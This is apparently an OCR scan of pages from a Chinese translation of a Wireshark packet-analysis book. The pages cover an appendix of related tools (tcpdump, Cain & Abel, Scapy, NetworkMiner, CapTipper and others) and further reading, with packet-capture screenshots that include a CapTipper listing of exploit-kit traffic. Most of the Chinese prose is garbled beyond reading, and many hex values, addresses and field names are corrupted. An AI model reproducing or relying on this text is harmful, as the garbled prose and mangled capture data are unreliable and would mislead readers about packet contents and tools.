1.876573 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -321 Key (Message 2 of 4)
2.875292 Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -18 36 Key (Message 1 of 4)
2.87761@ Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -291 Key (Message 2 of 4)
3.877211 Netgear_ab:96:16 Apple_78:6c:9c EAPOL 157 1 -18 48 Key (Message 1 of 4)
3.879537 Apple_78:6c:9c Netgear_ab:96:16 EAPOL 183 1 -321 Key (Message 2 of 4)

13-19 X Z #9514 EAPOL 4435 6. & 91 WPA TAIER K T

BPAdBERERR 4 K5, BEDIE T ik 13-20 Pron, B 16 R TL
C RN ECBIURINTI | 8

M Wireshark - Packet 16 - 3e80211_wpaauthfail - O X

> Frame 16: 5@ bytes on wire (480 bits), 5@ bytes captured (48@ bits) on interface @
» Radiotap Header v@, Length 2@
> 802.11 radio information
v IEEE 802.11 Deauthentication, Flags: ........ s
@ Type/Subtype: Deauthentication (@x@@@c)
> Frame Control Field: @xceee
.00 eeel @01l 101@ = Duration: 314 microseconds
Receiver address: Apple_78:6c:9c (ac:cf:5c:78:6c:9¢c)
Destination address: Apple_78:6c:9c (ac:cf:5c:78:6c:9c)
Transmitter address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
Source address: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
BSS Id: Netgear_ab:96:16 (28:c6:8e:ab:96:16)
............ @000 = Fragment number: @
0000 0000 @O0 .... = Sequence number: @
> Frame check sequence: @x69fd528@ [correct]
v IEEE 802.11 wireless LAN management frame
¥ Fixed parameters (2 bytes)
Reason code: Class 2 frame received from nonauthenticated STA (@x@006)

No.: 16 - Time: 3.080348 - Source: Netgear_ab:96:16 - Destination: Apple_78:..m): -17 - Data rate: 1 * Info: Deauthentication, SN=0. FN=0. Flags=.....

I Close I ‘ Help

13-20 WPA EF X M/E, &P 3#HINERK

F13E RLENEHFESSHT 317
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13.10 /&G

BIRTCL M AR N A R—A L&), [HEAR N HLIAE R HE A
LR WG FEE NV SR BT L@ 5, RIS L Z TR (14
e oM, FFH TR B ARG EE. B8, ARIHRHHMS
AT IEAA, B EATTREHS B R s G 0 M B R B oR Jo e X 2% ()i, ik
TRmAEE I EE L.
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im0t THEA XA Wireshark, & — KHEE T
g TH. TR 4 % AL R ST
Y R4 ) B KRR T . A BB T — g R
SPMT TR, DA HL A €L 47 25 ST YR

Al Byt LH

¥r T Wireshark 2 4b, A — St R TR, £XH, Randd
— LR A .
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1. Tcpdump F1 Windump

HAR Wireshark 1RAT, H'E R REBA Tepdump FTF V2. HRER|—LEA
FEXT IR LA IR AN 3 AT S FRRE K, Tepdump J2 58 45 T30 .

BAR Tepdump B/ EIEERM:, (HE AR S5 FEH FE1E . RIONIRAT LA
FHAE B E i % 3 e ) A\ 25 HoAhar 2, Bl Linux 1Y sed F1 awk. B XL
WAL IR NS, K2 &K B Wireshark 1 Tepdump 1R A H -

Windump R & Tepdump 7E Windows ~F & [ & 4T R o

2. Cain & Abel

2 BmOLHHEE, Cain & Abel /& Windows “F & Filif i ARP Z/E T
Wit TH2Z —. Cain & Abel SZfr L& — N EF LK T EESE, R—EfE KM
HAthH &,

3. Scapy

Scapy J& —MEH 58 K1 Python [, Fo Vi AR T-dn AT A I J7 51 4
B, B, Scapy & —KERA. RiGIIEIREIRAFET .
4. Netdude

WERARANT Z A8 Scapy R T H, H4 Netdude /& Linux FHI—ML
EF A . BAR Netdude ZHEEAIR, (HEHRM TR S, i T3t
FEHR, fFEQE. Bodatnt, ERAINREIE. K A-1 3R 7] Netdude
fK—A 1

5. Colasoft Packet Builder

WK Windows F ', FFHAEE S Netdude 2R GUI, FHRAMRAT LA &
¥ F Colasoft Packet Builder, —#HEFEN 42 T H. Colasoft iH2HE T —AMEEN
HFEdEa 8 @AM GUL

6. CloudShark

CloudShark (H QA Café J1&) RRIBE R —NTH, AJUHEAEL D=
AR IRICT . WK A2 Fizs, CloudShark Fstinf DAZER 2% B DL Wireshark
(177 BRI S IR SO . AT UL b AR SR SO PF, JRl i Rk F s, DME
A il T

320 Wireshark RS 2 47sE8k (58 3 AR)
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& CloudShark Enterprise  admin Preferences Appliance Setup Log Out

start-lan.cap 6.7 kb - 53 packets - more info
Start typing a Display Filter « Apply Clear = : @ Analysis Tools v &) Graphs | v 1 Download # Profile
No. & Time Source Destination Protocel Length Info
31 © 14.657298 fe80 ICMEVE 190 Router Advertisement from c8:d7:19:4b:66:2a
32 © 14.712675 fe80 ICMPVE 110 Multicast Listener Report Message v2
33 o ££02::16 ICMPvE 110 Multicast Listener Report Message v2
34 e 1££c3:ralfb IcMEVE 78 Neighbor Solicitation for feB0::821f:2ff:fec3:alfb
3 o IcMevE 70 Router Solicitation from 80:1£:02:c3
36 ° 37.161462 fesd IcMEVE 70 Router Solicitation from 80:1f:02:c3
37 O 41.162770 fes0 ICMPVE 70 Router Solicitation from 80:1f:02:e3
38 © 55.164537 fe80::821f:2£f:fec3:alfb IcMEVE 70 Router Solicitation from 80:1f:02:c3:al:fb
39 O 55.297940 fes0 ad7:19ff:fedb:662a ICMPVE 190 Router Advertisement from c8:d7:19:4b:66:2a
40 o 55.302198 :: ££02::1:£fc3alfh IcMEVE 78 Neighbor Solicitation for 3001:dddd::821f:2£f:fec3:alfb
41 o 55.507433 3001:dddd::821f:2ff:fec3:alfb 300l:5la:caf upp 1514 Souree port: 11778 Destination port: commplex-link
42 © 55.912451 192.168.1.1 IGMPvZ 42 Menbership Query, general
43 © 58.510548 3001:dddd::821f:2ff:fec3:alfb upp 1514 Souree port: 11779 Destination port: commplex-link
44 © §1.513551 3001:dddd::821f:2ff:fecdsalfb upP 1514  Source port: 11780 Destination port: commplex-Link
b Frame 40: 78 bytes on wire (624 bits), 78 bytes captured (624 bits)
D Ethernet II, Sre: EdimaxTe_e3:al:fb (80:1f:02:c3:al:fb), Dst: IPvémeast :f:e3:al:fb (33:33:ff:c3:al:fb)
D Internet Protocol Version 6, Src: t: (::), Dst: ££02::1:ffc3:alfb (££02 £fc3:alfb)
D Internet Control Message Protocol v6
0000 33 33 ££ c3 al fb 80 1f 02 c3 al fb 86 dd 60 00  33.
0010 00 00 00 18 3a ££ 00 00 00 00 00 00 00 00 40 00 ...
0020 00 00 00 00 00 00 ££ 02 00 00 00 00 00 00 00 00
0030 00 01 £f €3 al fb 87 00 a4 2c 00 00 00 00 30 01

E A-1 & Netdude F15 7 3kdE &

@Y NetworkMiner 2.0 - m] >
File Tools Help
— Select a network adapter in the It — M EE™
Keywords  Anomalies i
Hosts (129) Fies (131) Images (33) Messages Credentials () Sessions (113} DNS (271) Parameters (1199) fiename  MD5
Fiterkeword: | <] I Case sensive snorleg... A301e2..
D.port Protocol Filename: Extension Size  Detais &
TCP 53130 TisCetficate  nrdata.net.cer o 12038 TLS Certficate: C
TCP 53130 TisCertificate GeoTrust SSL CA - G2.cer cer 11178 TLS Certificate: C
TCP53130 TisCettficate  GeoTrust Global CA.cer o 8578 TLS Certficate: C
TCF 53138 HitpGetNommal  index htmi[2] ocspesponse ocspresponse 1455B  gb.symed.com/
TCP 53139 HitpGetChunked  indeschtml html 869588  www meetup com
TCP 53142 HitpGetNomnal  almond min js javascript javaseript 27586 static2meetupsia
TCP 53140 HitpGetNommal  meetup_juery_ui.css s §725E siatic2meetupsia
TCP 53144 HitpGetNomal  client min js javascript javascript 36928 static2meetupsta
TCP 53145  HitpGetNomal  info\Widget min js javascript javascript 206398  static2meetupsta
TCP 53151 HitpGetNomnal  groupMetadataminjsjavascipt javascript 24098 static] meetupsta
TCP 53143 HttpGetNomal mt-4woButtonCTAtestimonial css css 4458  static1mestupsta
TCP 53147 HitpGetNommal  prit.css s 21718 static] meetupsta
TCP 53141 HitpGetNomal  meetupmodem css s 2235718 staticZmesiupsia
TCP 53139 HttpGetNomal indesc html 601A30C1 css css 55828 www mestup com
TCP 53145 HitpGetNommal  whitney css s 834558  siatic] meetupsta
TCP 53150 HitpGetNomal  ghome min js javascript javascript 1023788  static] meetupsta
TCP 53148 HitpGetNomal  chapterbase css css 1651018  static] meetupsta
TCP 53143 HitpGetNomal  Mestup Base jquery.min js javascript  javascript 4143558 staticZmestupsia
TCP 53152 HitpGetNomal  thumb_156167702 jpeg ipeg 26118 photos3 meetups
TCR 53155 HipGetomal  thurl_151539512,peg PNG PG 25718 photos3meetupsi ,
< b4 Reload Case Files
Live Sniffing Buffer Usage:

A-2 A CloudShark & & — A4 3k XA 711

KF CloudShark, FRi# 52 EATETM, JFaedEd URL HEE R
B, XERE, [REHE EEA—A PCAP UL, Hflt A 788
e A B, WATRESE FE MG, HH Wireshark 7.

MisR A EMEFEE 321
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7. pcapr

pecapr 7& Mu Dynamics @1 & H)—AEH @A 170 % PCAP SUAFH) Web
20°FG. EEREAS, peapr &8 7KL 3000 4~ PCAP 3P, 5 K 400 2 Fi
AP F . B A-3 IR T peapr FH) DHCP Wi & 43k HIH1 1.

@ 1. Python

defender:CapTipper-master csanders$ sudo ./CapTipper.py ek_to_cryptowall4.pcapng
CapTipper v@.3 b13 - Malicious HTTP traffic explorer tool
Copyright 2015 Omri Herscovici <omriher@gmail.com>

[A] Analyzing PCAP: ek_to_cryptowall4.pcapng

[+] Traffic Activity Time: Mon, @1/04/16 16:25:54
[+] Conversations Found:

-> text/html (services) [16.2 KB] (Magic: GZ)
uite-someone-visitor-nonsense-tonight-sweet-await-gigantic-dance-third -> text/html (quite-someone-visitor-non

ce-third) [576.0 B] (Magic: GZ)
ation/x-shockwave-flash (bXJkeHFLYXhmoA) [84.1 KB] (Magic: SWF)
ic-thorough-wea tesque-forth-awaken-fountain -> text/html (earnest-fantastic-thorough-weave
n) [20.0 B] (Magic: GZ)
-> application/octet-stream (enVjZ2dtcnpz) [350.0 KB] (Magic: BINARY)
ext/html (VOEHSQ.php) [0.0 B]
/html (76NiLm.php) [14.0 B] (Magic: TEXT)
text/html (VOEHSQ.php) [0.0 B]
text/html (76NLLm.php) [120.8 KB] (Magic: TEXT)
text/html (VOEHSQ.php) [0.0 B]
z -> text/html (76Nilm.php) [6.0 B] (Magic: TEXT)

A-3  JE pcapr L&A DHCP AEHiK

BEUR B AP e R A Rl (SRR, FRARSE & SG7E peapr FHE R Wik
RAE A SISl T REA RO, ANERE, HHEA LR
peapr (X 75,

8. NetworkMiner

NetworkMiner 72—k 12 H T M HUER) T A, (HEKIEEHA— L1
ARSI . BARE R AT DL IR SR A, EE 0 3m ITAE T- dn o] A A 4
¥atlo NetworkMiner 26l PCAP SCAFH W48 3w (R 3R AF R G028, IR SCAF
T RCENLE 218 B R R VIR ER M SC S SR BUE far i S0

9. Tcpreplay
B2 — HEROE B 7T EE AR LR b EAR DU % an ey o S e AT TR, Bt

F Tcpreplay RPATIXANESs « Tepreplay & [ 11311 SR E AL PCAP ST L1

10. ngrep
IR S Linux, ZEEN, VRE €M grep MR EHE . ngrep H5EARW

FEL,  SEVFIRTE PCAP Hidls EPUTHFE MR . AR AR om i e A IR 5L B
et H AR el LUK, Bt i ngrep.

322  Wireshark #iiEE 5 #rstik (58 3 AR
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11. Libpcap

WERARTHRITTE R — KN R, RIEAT — L5858 Gl B0
B AL PEEE AL, B AREX Libpeap JEH #42& . 52, Libpeap »&— T
WX 2% 3L A R ] A AE ) C/C++J%E . Wireshark. Tepdump, VAR HiAth K 7 %4
Ao TRHAAE — € 2k BRI T Libpeap.

12. Hping
Hping R&RREREF AW “HmLZET]” 2 —. Hping &— /217 IEHE
AR TR, BRSNS EHEF R B EM .
13. Domain Dossier
SRR TR B AR AL B 1P Mk E R, B4 Domain Dossier IEA /R
o EPUHE. fE. AR
14. Perl fil Python
Perl 1 Python EARAE T H, (HEZESEERNHAES . YIRAG T
PEEL T ATEE, RSB EEA B3 T HW S ERIE .. EREELT, EHik
Perl A1 Python i& 5 4m'5 T, ©A10] LA IRAEE G & s A\ rfE. ST
KEB N R, FEHEH Python, {HIX H &M NikH.

il

A2 BRsr Pt

M Wireshark [ =5E 1R R, HIRZ ol ARG i BHAE
BEA R B = R — L
1. Wireshark ¥

55 Wireshark 5 <) IR 2 BT ETERERA RS — N ER
A RS T WSSOI H) wiki, LA Wireshark HE£E5 22 HOVEMHE R

2. SANS 24 ARSI PR

EN—% SANS T, FRATGEaA SmiE, HEEENINZNERR EFTT
(SANS SEC 503: {RFEEANZEIM) 545 s G A ikAiE . XM RFREEH T4
AT LT BERAES T 224, ZIRFEZ AT He 4t i £ 6 #r
AIXE Tepdump A28 2 3R T W UF H4T

Misg A EMFEE 323
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TZARAE HH 3R B B £ 40 AT S Mike Poor A1 Judy Novak #i#2. ‘& 8:4F
PRt LR ERE. BHIRFIRITA AR, BRR, IR I T Web [1)4%
T AEL %

3. Chris Sanders H91#H%

WBAH R 2 G %, (EERBARNEE LS —8G S8dR ot
MISCEE . URBAT AR, BRI A E o B 23RS (O H At SCE A-B R TT
AHNE MM T MR T

4. Brad Duncan B EEER RS 2 Bt
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M 10.000000172.16.16.128 7412595104 TCP 66 1606—80 [SYN] Seq=0 Win=8192 Len=0 MS5=1460 WS=4 SACK_PERM=1 o || = @

Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
ethernet II, src: Intelcor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)
Internet Protocol version 4, Src: 172.16.16.128 (172.16.16.128), Dst: 74.125.95.104 (74.125.95.104)
= Transmission Control Protocol, src Port: 1606 (1606), Dst Port: 80 (80), seq: O, Len: O
Source Port: 1606 (1606)
Destination Port: 80 (80)
[stream index: 0]
[TCP Segment Len: 0]
sequence number: 0 (relative sequence number)
Acknowledgment number: 0
Header Length: 32 bytes
.... 0000 0000 0010 = Flags: 0x002 (SYN)
window size value: 8192
[calculated window size: 8192]
Checksum: 0x0b30 [validation disabled]
urgent pointer: 0
options: (12 bytes), Maximum segment size, No-Operation (NOP), window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted

0000 00 05 5d 21 99 4c 00 21 6a 5b 7d 4a 08 00 45 00 ]t jIra.El
0010 00 34 40 2 40 00 80 06 53 5c ac 10 10 80 4a 7d P [ P A 4
0020 5T 68 06 46 [EEEN 7c 23 5a b7 00 00 00 00 80 02 _h.FEEI# Z.......
0030 20 00 Ob 30 00 00 02 04 05 b4 01 03 03 02 01 01 cotEtap cocontos
0040 04 02 =

B-1 Wireshark #3475 649 4538 &

Wireshark TR 85 005 5, IS FBORINIRSE .. RIGEHE I A &R
2, AEFR b O HOE F R BOhR HE R E O B AR X HE S o S A M s B R
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Wireshark SR T HAEWE E RN B G,  FOAEATH N E B0t dsx
PSS B hE . K EEAME AT T S #lan, B B-1 H g ez AL dmis il
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